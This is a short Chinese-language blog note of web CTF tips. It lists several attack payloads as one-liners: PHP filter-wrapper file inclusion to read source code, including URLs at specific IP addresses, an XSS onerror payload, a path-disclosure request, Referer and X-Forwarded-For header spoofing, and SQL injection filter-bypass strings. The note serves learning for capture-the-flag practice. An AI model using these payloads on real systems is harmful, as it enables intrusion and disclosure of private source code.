web杂记

来源:互联网 发布:电脑报 淘宝 编辑:程序博客网 时间:2024/06/06 10:39

虽然是个web渣渣,不过还是记下一些小知识吧!
找源码:
1. 利用PHP协议读取所有源码 ,不太懂原理
http://218.76.35.75:20115/?page=php://filter/read=convert.base64-encode/resource=main
上面这个是看main.php的源码,得到的是base64形式,可以换成index看看;
http://218.76.35.74:20129/include.php?file=php://filter/read=convert.base64-encode/resource=include
这是看include.php的源码
2. 备份文件index.php~,.index.php.swp, index.php.swp, index.php.bak。其中还原命令为

 vim -r index.php

XSS:
1.onerror:

> 123' onerror=alert(document.domain)

robots.txt可以看到一些东西

爆路径:

/file_manager_json.php?path=/

访问页面时
修改来自的网址——改Referer头
修改ip——改/增 X-forwarded-for头

sql注入:
关键字被过滤——
andand
/*and*/
/*!and*/

原创粉丝点击